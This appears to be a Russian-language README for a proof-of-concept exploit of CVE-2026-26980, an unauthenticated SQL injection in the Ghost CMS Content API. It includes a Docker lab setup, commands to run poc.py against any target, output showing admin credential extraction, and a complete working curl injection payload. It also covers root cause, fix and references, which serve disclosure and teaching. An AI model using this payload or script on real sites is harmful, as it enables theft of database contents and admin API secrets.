
SQL-инъекция в Ghost Content API
★ CVE-2026-26980 PoC SQL-инъекции в Content API TryGhost Ghost CMS ★
https://github.com/user-attachments/assets/e7fab29e-8382-4ecc-986c-68852c28a32c
CVE-2026-26980 — это неаутентифицированная SQL-инъекция в Content API TryGhost Ghost CMS. Уязвимый путь доступен через логику обработки фильтров публичного Content API при обработке упорядочивания slug:[...].
Этот PoC разворачивает контролируемую лабораторную среду Ghost 6.19.0 и демонстрирует, как запрос к публичному Content API можно превратить в boolean-based примитив чтения базы данных.
| Продукт | Затронутая версия | Исправленная версия | Тип уязвимости |
|---|---|---|---|
| TryGhost Ghost CMS | >= 3.24.0, < 6.19.1 | 6.19.1 | SQL-инъекция |
Лабораторная среда использует Ghost 6.19.0.
Соберите и запустите уязвимую среду Ghost CMS с помощью Docker:
docker build -t cve-2026-26980 .
docker run --rm -d -p 9102:9102 --name cve-2026-26980 cve-2026-26980
Пример:
http://127.0.0.1:9102/
Лабораторная среда запускает реальный уязвимый экземпляр Ghost 6.19.0 на порту 9102.
Ключ Content API лабораторной среды:
EQSTLab299
CVE-2026-26980: уязвимость SQL-инъекции в Content API TryGhost Ghost CMS
Описание: SQL-инъекция в TryGhost Ghost CMS до версии 6.19.1 позволяет неаутентифицированному атакующему, имеющему доступ к публичному ключу Content API, читать произвольные значения базы данных через параметр фильтра Content API. Проблема возникает в пути упорядочивания фильтра slug:[...], где управляемые пользователем значения slug вставляются в необработанный SQL без надлежащего связывания параметров.
Ключи Ghost Content API по замыслу обычно раскрываются в браузерах через темы, поиск, портал или frontend JavaScript. Это означает, что уязвимый путь может быть доступен без аутентификации в Ghost Admin.
git clone https://github.com/EQSTLab/CVE-2026-26980.git
cd CVE-2026-26980
python3 poc.py --url [Target]
Необязательный пользовательский ключ Content API:
python3 poc.py --url [Target] --key [Content API Key]
python3 poc.py --url [Target]
python3 poc.py --url [Target] --key EQSTLab299
Пример [Target]: http://127.0.0.1:9102
========================================================================
Ghost CMS - Unauthenticated SQLi Data Extraction
========================================================================
Target: [Target]
API Key: [Content API Key]
Endpoint: Content API (public, no auth)
[*] Calibrating oracle... OK
[*] Phase 1: Recon (fast checks)
length(users.email) = 17
length(users.password) = 60
count(settings) (3 chars): 110
count(users) (1 chars): 1
count(api_keys) (1 chars): 9
[*] Phase 2: Extracting values
Admin email (17 chars): [email protected]
Admin name (5 chars): Ghost
Admin API key ID (24 chars): <redacted>
Admin API secret (64 chars): <redacted>
[*] Phase 3: DB snapshot
Result: DB read primitive confirmed
Публичный PoC демонстрирует воздействие чтения базы данных, извлекая безопасные для лаборатории метаданные базы данных и материал ключей Ghost API. Он не выводит флаг соревнования.
GET /ghost/api/content/tags/?key=[Content API Key]&filter=slug:[...]
Уязвимая логика находится в пути сериализации входных данных Content API Ghost для фильтров slug:[...]. Ghost поддерживает фильтры slug в виде списка и сохраняет запрошенный порядок slug, генерируя выражение ORDER BY CASE.
В уязвимых версиях управляемые пользователем значения slug вставляются во фрагмент SQL. Упрощённый уязвимый шаблон выглядит так:
for (const [index, slug] of slugs.entries()) {
order.push(`WHEN \`${tableName}\`.\`slug\` = '${slug}' THEN ${index}`);
}
Поскольку slug контролируется атакующим и вставляется в SQL-строку без связывания параметров, специально созданный фильтр Content API может выйти за пределы предполагаемого сравнения и внедрить дополнительную SQL-логику.
Лабораторный PoC использует два публичных тега, bacon и chorizo, в качестве наблюдаемого булева оракула.
bacon сортируется первым.chorizo сортируется первым.Повторяя этот тест с разными SQL-условиями, PoC может определять значения базы данных по одному символу за раз.
Проверка булева оракула с помощью curl:
curl -s "[Target]/ghost/api/content/tags/?key=EQSTLab299&filter=slug%3A%5B%27%2F%2A%2A%2FAND%2F%2A%2A%2F0%2F%2A%2A%2FTHEN%2F%2A%2A%2F99%2F%2A%2A%2FWHEN%2F%2A%2A%2Flength%28%60tags%60.%60slug%60%29%3D5%2F%2A%2A%2FTHEN%2F%2A%2A%2F%28SELECT+CASE+WHEN+1%3D1+THEN+0+ELSE+2+END%29%2F%2A%2A%2FWHEN%2F%2A%2A%2Flength%28%60tags%60.%60slug%60%29%3D7%2F%2A%2A%2FTHEN%2F%2A%2A%2F1%2F%2A%2A%2FWHEN%2F%2A%2A%2F0%2F%2A%2A%2FOR%2F%2A%2A%2F%27%2Cchorizo%2Cbacon%5D"
Корневая причина — небезопасное построение фрагмента SQL ORDER BY CASE из управляемых пользователем значений slug. Уязвимый код пытается сохранить порядок ответа Content API, но обрабатывает разобранные значения фильтра NQL как доверенный SQL-текст.
Надёжное исправление должно:
Ghost исправил эту проблему в 6.19.1, заменив необработанную интерполяцию параметризованными привязками запросов.
Это проблема CWE-89: Improper Neutralization of Special Elements used in an SQL Command.
Поскольку Ghost Content API намеренно публичен, эта уязвимость может позволить неаутентифицированному атакующему создать примитив чтения базы данных через публичную конечную точку контента. В зависимости от содержимого базы данных и прав атакующий может:
+-------------------------------------------+
| Remote Attacker |
+-------------------------------------------+
|
| GET /ghost/api/content/tags/
| filter = slug:[<SQLi payload>,chorizo,bacon]
v
+-------------------------------------------+
| Ghost Public Content API |
+-------------------------------------------+
|
| Unsafe slug order SQL construction
v
+-------------------------------------------+
| ORDER BY CASE SQL Injection |
+-------------------------------------------+
|
| Boolean difference in tag ordering
v
+-------------------------------------------+
| Unauthenticated DB Read |
+-------------------------------------------+
Эта лабораторная среда запускает реальный уязвимый экземпляр Ghost 6.19.0, а не минимальный имитационный сервер.
В лабораторной среде предустановлено:
EQSTLab299bacon, chorizoПубличный poc.py предназначен для демонстрационных видео и публичных отчётов. Он показывает воздействие SQL-инъекции без вывода флага соревнования.
docker stop cve-2026-26980
Этот репозиторий не предназначен для эксплуатации SQL-инъекции CVE-2026-26980. Цель проекта — помочь людям узнать об этой уязвимости и, возможно, протестировать свои собственные приложения.
https://github.com/TryGhost/Ghost/security/advisories/GHSA-w52v-v783-gw97
https://github.com/TryGhost/Ghost/commit/30868d632b2252b638bc8a4c8ebf73964592ed91
https://github.com/TryGhost/Ghost/releases/tag/v6.19.1
https://nvd.nist.gov/vuln/detail/CVE-2026-26980